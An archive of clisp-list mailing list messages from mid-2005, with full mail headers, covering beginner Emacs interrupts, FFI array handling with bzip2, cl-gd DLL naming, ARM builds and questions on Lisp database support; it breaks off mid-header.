f78mr379771wra; Thu, 30 Jun 2005 06:13:25 -0700 (PDT) Received: by 10.54.129.11 with HTTP; Thu, 30 Jun 2005 06:13:25 -0700 (PDT) Message-ID: From: Daniele Innocenti Reply-To: Daniele Innocenti To: clisp-list@lists.sourceforge.net Mime-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable Content-Disposition: inline X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 RCVD_BY_IP Received by mail server with no name 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] stopping execution Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Jun 30 06:16:27 2005 X-Original-Date: Thu, 30 Jun 2005 15:13:25 +0200 Hello you all, I know that this is a stupid question, but I am new to clisp and emacs. How can I stop the execution when , i.e., I am in a infinite loop? I'm working on windows2000 and ctrl-g isn't working. Thanx in advance From sds@gnu.org Thu Jun 30 06:36:30 2005 Received: from [10.3.1.92] (helo=sc8-sf-mx2-new.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DnzDS-0004uv-8o for clisp-list@lists.sourceforge.net; Thu, 30 Jun 2005 06:36:30 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx2-new.sourceforge.net with esmtp (Exim 4.44) id 1DnzDP-0005hf-SK for clisp-list@lists.sourceforge.net; Thu, 30 Jun 2005 06:36:30 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.41.52.183]) by alphatech.com (8.12.11/8.12.11) with ESMTP id j5UDXtX7007016; Thu, 30 Jun 2005 09:33:56 -0400 (EDT) To: clisp-list@lists.sourceforge.net, Daniele Innocenti Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: (Daniele Innocenti's message of "Thu, 30 Jun 2005 15:13:25 +0200") References: Mail-Followup-To: clisp-list@lists.sourceforge.net, Daniele Innocenti Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: stopping execution Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Jun 30 06:38:04 2005 X-Original-Date: Thu, 30 Jun 2005 09:33:17 -0400 > * Daniele Innocenti [2005-06-30 15:13:25 +0200]: > > I know that this is a stupid question, but I am new to clisp and emacs. > How can I stop the execution when , i.e., I am in a infinite loop? > > I'm working on windows2000 and ctrl-g isn't working. C-c C-c in the *inferior-lisp* buffer will send an interrupt to the lisp process. -- Sam Steingold (http://www.podval.org/~sds) running w2k Money does not "play a role", it writes the scenario. From daniele.innocenti@gmail.com Fri Jul 01 00:20:59 2005 Received: from [10.3.1.91] (helo=sc8-sf-mx1-new.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DoFpZ-0000sY-Ot for clisp-list@lists.sourceforge.net; Fri, 01 Jul 2005 00:20:57 -0700 Received: from wproxy.gmail.com ([64.233.184.206]) by sc8-sf-mx1-new.sourceforge.net with esmtp (Exim 4.44) id 1DoFpY-0006oU-96 for clisp-list@lists.sourceforge.net; Fri, 01 Jul 2005 00:20:57 -0700 Received: by wproxy.gmail.com with SMTP id i3so251874wra for ; Fri, 01 Jul 2005 00:20:49 -0700 (PDT) DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com; h=received:message-id:date:from:reply-to:to:subject:in-reply-to:mime-version:content-type:content-transfer-encoding:content-disposition:references; b=AxbMWBi5j2eaPhELan8eyLNMq0LuRpohq4rf3dn/8JS13FXed+zCVwddL8tJOEGrtDH7cXA1+xV7FMjYzE7NeYI894pSrpPEDKKLIuC+PFHxYP1A9/BBjyvGtsRO2MClKz/HzPACLhYd9p/0WgRxreneb/G7wIj4Vy0efRMhS+4= Received: by 10.54.49.72 with SMTP id w72mr222644wrw; Fri, 01 Jul 2005 00:20:49 -0700 (PDT) Received: by 10.54.129.11 with HTTP; Fri, 1 Jul 2005 00:20:49 -0700 (PDT) Message-ID: From: Daniele Innocenti Reply-To: Daniele Innocenti To: clisp-list@lists.sourceforge.net, Daniele Innocenti In-Reply-To: Mime-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable Content-Disposition: inline References: X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 RCVD_BY_IP Received by mail server with no name 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' -0.0 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: stopping execution Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Jul 1 00:22:40 2005 X-Original-Date: Fri, 1 Jul 2005 09:20:49 +0200 Thx a lot Daniele 2005/6/30, Sam Steingold : > > * Daniele Innocenti [2005-06-30 15:13:25 = +0200]: > > > > I know that this is a stupid question, but I am new to clisp and emacs. > > How can I stop the execution when , i.e., I am in a infinite loop? > > > > I'm working on windows2000 and ctrl-g isn't working. >=20 > C-c C-c in the *inferior-lisp* buffer will send an interrupt to the lisp > process. >=20 > -- > Sam Steingold (http://www.podval.org/~sds) running w2k > > > Money does not "play a role", it writes the scenario. > From Joerg-Cyril.Hoehle@t-systems.com Fri Jul 01 02:35:29 2005 Received: from [10.3.1.92] (helo=sc8-sf-mx2-new.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DoHvk-0007KW-Nv for clisp-list@lists.sourceforge.net; Fri, 01 Jul 2005 02:35:28 -0700 Received: from tcmail31.telekom.de ([217.6.95.238]) by sc8-sf-mx2-new.sourceforge.net with esmtp (Exim 4.44) id 1DoHvi-0004gx-AD for clisp-list@lists.sourceforge.net; Fri, 01 Jul 2005 02:35:28 -0700 Received: from s4de8psaans.mitte.t-com.de by tcmail31.dmz.telekom.de with ESMTP for clisp-list@lists.sourceforge.net; Fri, 1 Jul 2005 11:35:20 +0200 Received: by S4DE8PSAANS.blf.telekom.de with Internet Mail Service (5.5.2653.19) id ; Fri, 1 Jul 2005 11:35:07 +0200 Message-Id: <5F9130612D07074EB0A0CE7E69FD7A0304DE9C4D@S4DE8PSAAGS.blf.telekom.de> From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: stdcall and Boutell gd.dll (was: Re: clisp - link) Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Jul 1 02:38:40 2005 X-Original-Date: Fri, 1 Jul 2005 11:35:06 +0200 Edit Weitz wrote in the UFFI-Users mailing list: >> Concretely, for cl-gd, the bgd.dll from Boutell does not contain >> "gdImageCreate", but rather "gdImageCreate@8". >There was a discussion of this problem on the LispWorks mailing list >some months ago. You might want to search Gmane. >Also, note that in this particular case there's a binary version of >the DLL available from my website which should work with CL-GD on >Windows. People may be interested in this version instead. http://weitz.de/cl-gd/ Regards, Jorg Hohle. From sds@gnu.org Fri Jul 01 07:23:07 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DoMQ1-0005Kn-Gl for clisp-list@lists.sourceforge.net; Fri, 01 Jul 2005 07:23:01 -0700 Received: from smtp04.mrf.mail.rcn.net ([207.172.4.63]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1DoMPy-0005AB-Rk for clisp-list@lists.sourceforge.net; Fri, 01 Jul 2005 07:23:01 -0700 Received: from 65-78-14-10.c3-0.nwt-ubr2.sbo-nwt.ma.cable.rcn.com (HELO WINSTEINGOLDLAP) (65.78.14.10) by smtp04.mrf.mail.rcn.net with ESMTP; 01 Jul 2005 10:20:27 -0400 X-IronPort-AV: i="3.93,250,1115006400"; d="scan'208"; a="54049440:sNHT34572537282" To: Dan Corkill Cc: Will Newton , clisp-list@lists.sourceforge.net Mail-Copies-To: never Reply-To: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <42C519D4.7060703@comcast.net> (Dan Corkill's message of "Fri, 01 Jul 2005 06:24:20 -0400") References: <42C519D4.7060703@comcast.net> Mail-Followup-To: Dan Corkill , Will Newton , clisp-list@lists.sourceforge.net Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.1 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: CLISP on ARM (PXA 255) Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Jul 1 07:25:05 2005 X-Original-Date: Fri, 01 Jul 2005 10:19:47 -0400 Dan, > I need to build the latest CLISP for an ARM PXA 255 (running Linux). > I'm aware of the CLISP/MAXSIMA > (http://web.njit.edu/~rxt1077/clisp-maxima-zaurus.html#MAXIMA-BUILD) and > have that > image running on the processor, but I need to build the latest CLISP. I > would also need to use an x86 > cross-compilation toolchain (unlike the MAXSIMA effort). > > Any advice/shortcuts on this would be appreciated (or if you know > Any advice/shortcuts on this would be appreciated (or if you know > someone who is running CLISP natively on ARM-LINUX who might have the > latest binaries to share!). the debian page mentions arm http://packages.debian.org/unstable/interpreters/clisp.html Will Newton is extremely knowledgeable, I am sure he can help. please keep the CC to clisp-list so that this information is preserved for posterity. -- Sam Steingold (http://www.podval.org/~sds) running w2k Don't ascribe to malice what can be adequately explained by stupidity. From lisp-clisp-list@m.gmane.org Sun Jul 03 01:29:10 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Dozqg-00009Z-AV for clisp-list@lists.sourceforge.net; Sun, 03 Jul 2005 01:29:10 -0700 Received: from main.gmane.org ([80.91.229.2] helo=ciao.gmane.org) by sc8-sf-mx2.sourceforge.net with esmtp (TLSv1:AES256-SHA:256) (Exim 4.41) id 1DozqT-0002rX-0K for clisp-list@lists.sourceforge.net; Sun, 03 Jul 2005 01:29:10 -0700 Received: from list by ciao.gmane.org with local (Exim 4.43) id 1DozqI-0001i5-FJ for clisp-list@lists.sourceforge.net; Sun, 03 Jul 2005 10:28:46 +0200 Received: from c-67-180-92-49.hsd1.ca.comcast.net ([67.180.92.49]) by main.gmane.org with esmtp (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Sun, 03 Jul 2005 10:28:46 +0200 Received: from efuzzyone by c-67-180-92-49.hsd1.ca.comcast.net with local (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Sun, 03 Jul 2005 10:28:46 +0200 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net From: Surendra Singhi Lines: 63 Message-ID: Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 X-Complaints-To: usenet@sea.gmane.org X-Gmane-NNTP-Posting-Host: c-67-180-92-49.hsd1.ca.comcast.net Face: iVBORw0KGgoAAAANSUhEUgAAADAAAAAvBAMAAABXrFT6AAAAD1BMVEU6Egl4Uj+fSCzOknb5 7uZlO6HiAAACSUlEQVR42nWU4ZWsIAyFA1hAGCgAEwsAQgEysf+aXnB23/hnPY7O8Ts3yQ0BuP64 YD30LzDkDxDHsKekcavHF9RjiDYCOkzc0hc0Vtnp5VMSaRi+oAONQo2pcxF4KN7KROSpd+oAjxxv r16CHjIqS/xWpTPUQxOC5DfJ/ihX3t7K8uVoGlmezrFfMgtFjfv7qejbjrlyrzOdBzwACmsqLKVl bPioCqQUqMJUAXrN/4E4gh07i2BKe92+5YbSuJk/2VqnGh7AuyoGyJHlyOMHDA0bMnkRIenvbw69 Qprc7aNYF9+nAZUF5HKnWhzuffX3lKHdjxvAGToRS+cO0igI0QI6UIHYgDkpbCtgvctg8XKF09sn 6kcpomTrucCleUJ9UXVSOvnXMnqsUKr5ck3LgbTpMKO9u+NTlc7UxF5wSSu0rpJv0BQgxnQly1eX H7I5Wjn61aJNk6LacK3SehsfYJaiyyeEll59CeoNOkXzCg4AbB0Prpzi3SvgNYF1palJWOo4bjCB eU8Rt6ljxtAcvlxbAMFLsTjpGmO61IKN2a0A71gsvrMSMA3IFiOs5PYtChqAgvtQcAlgk1tR4COB kq71B4D3j6J42xYmtGjT3gjm8FZ4v0szCeZrrw4StN2Ag92T3xZJLFhdRNepGSje5tCvTcaSUCBC mMEA7EDFW0IbxDwwVXNUj3PlQLAN+7KhvvDCoNZnZyXZXYq3HWhNHTMHYNWaa1rJrb5lI9kJgIBh DJxOwCb0cxbo+D1W7Dc+Q/17zIw1yD/0H0JDvJOOO8rIAAAAAElFTkSuQmCC User-Agent: Gnus/5.1007 (Gnus v5.10.7) XEmacs/21.5 (chayote, windows-nt) Cancel-Lock: sha1:hvwQxvaRdjgME8jxifXOiHmZEr4= X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.1 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] FFI & in-out array question Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sun Jul 3 01:31:16 2005 X-Original-Date: Sun, 03 Jul 2005 01:28:38 -0700 Hello, Thanks for answering my earlier questions and providing the link to the latest window binaries of clisp, they were really useful. This time I am trying to use the bzip2 library available from http://www.bzip.org/downloads.html Corresponding to the following function in the dll, int BZ2_bzBuffToBuffCompress( char* dest, unsigned int* destLen, char* source, unsigned int sourceLen, int blockSize100k, int verbosity, int workFactor ); Note: The user is supposed to allocate space for the destination buffer, and pass the length in destLen, notice it is char* dest. I have defined (ffi:def-call-out BZ2_bz-Buff-To-Buff-compress (:name "BZ2_bzBuffToBuffCompress") (:arguments (dest (FFI:C-PTR (FFI:C-ARRAY-MAX ffi:uint8 100)) :OUT :ALLOCA) (dest-len (ffi:c-ptr ffi:uint) :In-out) (src ffi:c-string) (src-len ffi:uint) (blockSize100k ffi:int) (verbosity ffi:int) (workFactor ffi:uint)) (:return-type ffi:int) (:library +bzip2-dll+)) (defun compress(str) (BZ2_BZ-BUFF-TO-BUFF-COMPRESS 100 str (length str) 1 0 0)) Now, when I call the above function, say (compress "huge") I get the values 0 #(66 90 104 49 49 65 89 38 83 89 65 175 130 13) 42 The problem here is that 42 indicates that the compressed data has length of 42 bytes(chars), but the output buffers contain only 14 bytes. The 15th byte in the output is #x00, is that causing the output to be truncated? Am I making some mistake here or is it some other problem (either with clisp or the dll)? Thanks for your time. -- Surendra Singhi http://www.public.asu.edu/~sksinghi/index.htm Great wits are sure to madness near allied, And thin partitions do their bounds divide. (John Dryden, Absalom and Achitophel, 1681) From lisp-clisp-list@m.gmane.org Sun Jul 03 01:34:21 2005 Received: from [10.3.1.92] (helo=sc8-sf-mx2-new.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Dozvh-0000Hq-GS for clisp-list@lists.sourceforge.net; Sun, 03 Jul 2005 01:34:21 -0700 Received: from main.gmane.org ([80.91.229.2] helo=ciao.gmane.org) by sc8-sf-mx2-new.sourceforge.net with esmtp (Exim 4.44) id 1Dozvh-0005On-1G for clisp-list@lists.sourceforge.net; Sun, 03 Jul 2005 01:34:21 -0700 Received: from list by ciao.gmane.org with local (Exim 4.43) id 1DozvS-00029Q-Hg for clisp-list@lists.sourceforge.net; Sun, 03 Jul 2005 10:34:06 +0200 Received: from c-67-180-92-49.hsd1.ca.comcast.net ([67.180.92.49]) by main.gmane.org with esmtp (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Sun, 03 Jul 2005 10:34:06 +0200 Received: from efuzzyone by c-67-180-92-49.hsd1.ca.comcast.net with local (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Sun, 03 Jul 2005 10:34:06 +0200 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net From: Surendra Singhi Lines: 23 Message-ID: References: <42B1BFE6.3090502@x-ray.at> <42B304F1.5090600@ele.puc-rio.br> Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit X-Complaints-To: usenet@sea.gmane.org X-Gmane-NNTP-Posting-Host: c-67-180-92-49.hsd1.ca.comcast.net Face: iVBORw0KGgoAAAANSUhEUgAAADAAAAAvBAMAAABXrFT6AAAAD1BMVEU6Egl4Uj+fSCzOknb5 7uZlO6HiAAACSUlEQVR42nWU4ZWsIAyFA1hAGCgAEwsAQgEysf+aXnB23/hnPY7O8Ts3yQ0BuP64 YD30LzDkDxDHsKekcavHF9RjiDYCOkzc0hc0Vtnp5VMSaRi+oAONQo2pcxF4KN7KROSpd+oAjxxv r16CHjIqS/xWpTPUQxOC5DfJ/ihX3t7K8uVoGlmezrFfMgtFjfv7qejbjrlyrzOdBzwACmsqLKVl bPioCqQUqMJUAXrN/4E4gh07i2BKe92+5YbSuJk/2VqnGh7AuyoGyJHlyOMHDA0bMnkRIenvbw69 Qprc7aNYF9+nAZUF5HKnWhzuffX3lKHdjxvAGToRS+cO0igI0QI6UIHYgDkpbCtgvctg8XKF09sn 6kcpomTrucCleUJ9UXVSOvnXMnqsUKr5ck3LgbTpMKO9u+NTlc7UxF5wSSu0rpJv0BQgxnQly1eX H7I5Wjn61aJNk6LacK3SehsfYJaiyyeEll59CeoNOkXzCg4AbB0Prpzi3SvgNYF1palJWOo4bjCB eU8Rt6ljxtAcvlxbAMFLsTjpGmO61IKN2a0A71gsvrMSMA3IFiOs5PYtChqAgvtQcAlgk1tR4COB kq71B4D3j6J42xYmtGjT3gjm8FZ4v0szCeZrrw4StN2Ag92T3xZJLFhdRNepGSje5tCvTcaSUCBC mMEA7EDFW0IbxDwwVXNUj3PlQLAN+7KhvvDCoNZnZyXZXYq3HWhNHTMHYNWaa1rJrb5lI9kJgIBh DJxOwCb0cxbo+D1W7Dc+Q/17zIw1yD/0H0JDvJOOO8rIAAAAAElFTkSuQmCC User-Agent: Gnus/5.1007 (Gnus v5.10.7) XEmacs/21.5 (chayote, windows-nt) Cancel-Lock: sha1:Z959rZ4hTbHYYhwBnUZY3oVhQkM= X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.1 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: Lisp and Win32 GUIs Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sun Jul 3 01:36:06 2005 X-Original-Date: Sun, 03 Jul 2005 01:33:43 -0700 André Vargas Abs da Cruz writes: > Changing the subject a bit, does anyone know if is there any work > going on towards writing a kind of wrapper to the wxWidgets library ?! > I can think of a few good reasons to write a 'wxClisp wrapper' > (similar to wxPython): > > Maybe I could start doing something like this (although I am a lisp > newbie) if someone demonstrates interest in using it. > I am sure, there will be lot of people interested in using it. If I remember correctly, it was on the TODO list for clisp. Cheers. -- Surendra Singhi http://www.public.asu.edu/~sksinghi/index.htm Great wits are sure to madness near allied, And thin partitions do their bounds divide. (John Dryden, Absalom and Achitophel, 1681) From Joerg-Cyril.Hoehle@t-systems.com Mon Jul 04 03:34:58 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DpOHy-0006V3-Km for clisp-list@lists.sourceforge.net; Mon, 04 Jul 2005 03:34:58 -0700 Received: from tcmail31.telekom.de ([217.6.95.238]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1DpOHx-0007FL-BV for clisp-list@lists.sourceforge.net; Mon, 04 Jul 2005 03:34:58 -0700 Received: from S4DE8PSAANQ.mitte.t-com.de by tcmail31.dmz.telekom.de with ESMTP; Mon, 4 Jul 2005 12:35:01 +0200 Received: by S4DE8PSAANQ.blf.telekom.de with Internet Mail Service (5.5.2653.19) id <3HNSVDB6>; Mon, 4 Jul 2005 12:34:15 +0200 Message-Id: <5F9130612D07074EB0A0CE7E69FD7A0304DE9E32@S4DE8PSAAGS.blf.telekom.de> From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net Cc: efuzzyone@netscape.net Subject: [clisp-list] FFI & in-out array question MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Jul 4 03:38:32 2005 X-Original-Date: Mon, 4 Jul 2005 12:34:07 +0200 Surendra, please search the mailing list archives for keywords "FFI variable = length array". You're very close to the correct solution and just need to realize that = C-ARRAY-MAX will stop as soon as it sees a 0 byte. Therefore it's = unuseable with compression functions or read(). You need to either SUBSEQ or CAST/OFFSET to extract the subsequence out = of the larger array or storage area. In the archives, you'll find constructs like (with-c-var (dest `(c-array foo ,size)) call&check status (offset dest 0 `(c-array foo ,actual-length))) or the more or less equivalent (with-foreign-object (dest ... call&check status (foreign-variable dest (parse-c-type `(c-array foo = ,actual-length)))) If you explore several paths to the solution, please report timings. Regards, J=F6rg H=F6hle. From steve.morin@gmail.com Mon Jul 04 08:05:38 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DpSVu-00014W-Al for clisp-list@lists.sourceforge.net; Mon, 04 Jul 2005 08:05:38 -0700 Received: from wproxy.gmail.com ([64.233.184.207]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1DpSVs-00042f-Vc for clisp-list@lists.sourceforge.net; Mon, 04 Jul 2005 08:05:38 -0700 Received: by wproxy.gmail.com with SMTP id i21so696428wra for ; Mon, 04 Jul 2005 08:05:30 -0700 (PDT) DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com; h=received:message-id:date:from:reply-to:to:subject:mime-version:content-type:content-transfer-encoding:content-disposition; b=RsE1nRS8O6z6+3PS1CiAfe4+6LKSLGFyiMbsvx7c4QGDU1iDITmB9mEY7Yobc2lctOObJAXp7SeY+0Z8DV/iHp8v4INH7F+x/XROn0Vvq1QnPH0GLi8OKA5TiAN3UjiCv9vUmHnPh2NoBuCUKVEa3txqFg/ZN8eUEKC872AMiMk= Received: by 10.54.38.64 with SMTP id l64mr3785945wrl; Mon, 04 Jul 2005 08:05:30 -0700 (PDT) Received: by 10.54.7.35 with HTTP; Mon, 4 Jul 2005 08:05:30 -0700 (PDT) Message-ID: From: steve morin Reply-To: steve morin To: clisp-list@lists.sourceforge.net Mime-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable Content-Disposition: inline X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 RCVD_BY_IP Received by mail server with no name -0.0 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] clisp database support and web services Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Jul 4 08:07:45 2005 X-Original-Date: Mon, 4 Jul 2005 11:05:30 -0400 I have been looking, what support does lisp provide for connecting to databases, like mysql. Web services like xml-rpc and can it meet the needs of being multi threaded applications. I have been reading a lot about lisp, and want to use it commerically but is the infrastructure there? Does any one have any experience with matters like these that could give me some advice? Steve From pjb@informatimago.com Mon Jul 04 12:43:31 2005 Received: from [10.3.1.91] (helo=sc8-sf-mx1-new.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DpWqn-0003xH-6d for clisp-list@lists.sourceforge.net; Mon, 04 Jul 2005 12:43:29 -0700 Received: from larissa.informatimago.com ([62.93.174.78] ident=postfix) by sc8-sf-mx1-new.sourceforge.net with esmtp (Exim 4.44) id 1DpWqd-0004Dh-9A for clisp-list@lists.sourceforge.net; Mon, 04 Jul 2005 12:43:29 -0700 Received: by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386), from userid 501) id 934885833D; Mon, 4 Jul 2005 21:43:05 +0200 (CEST) Received: from thalassa.informatimago.com (thalassa.informatimago.com [62.93.174.79]) by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id 573F8582FA; Mon, 4 Jul 2005 21:43:02 +0200 (CEST) Received: by thalassa.informatimago.com (Postfix, from userid 1000) id 3D4AD10FBF3; Mon, 4 Jul 2005 21:43:02 +0200 (CEST) From: Pascal Bourguignon MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <17097.37190.216106.905390@thalassa.informatimago.com> To: steve morin Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] clisp database support and web services In-Reply-To: References: X-Mailer: VM 7.17 under Emacs 22.0.50.1 Reply-To: Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: 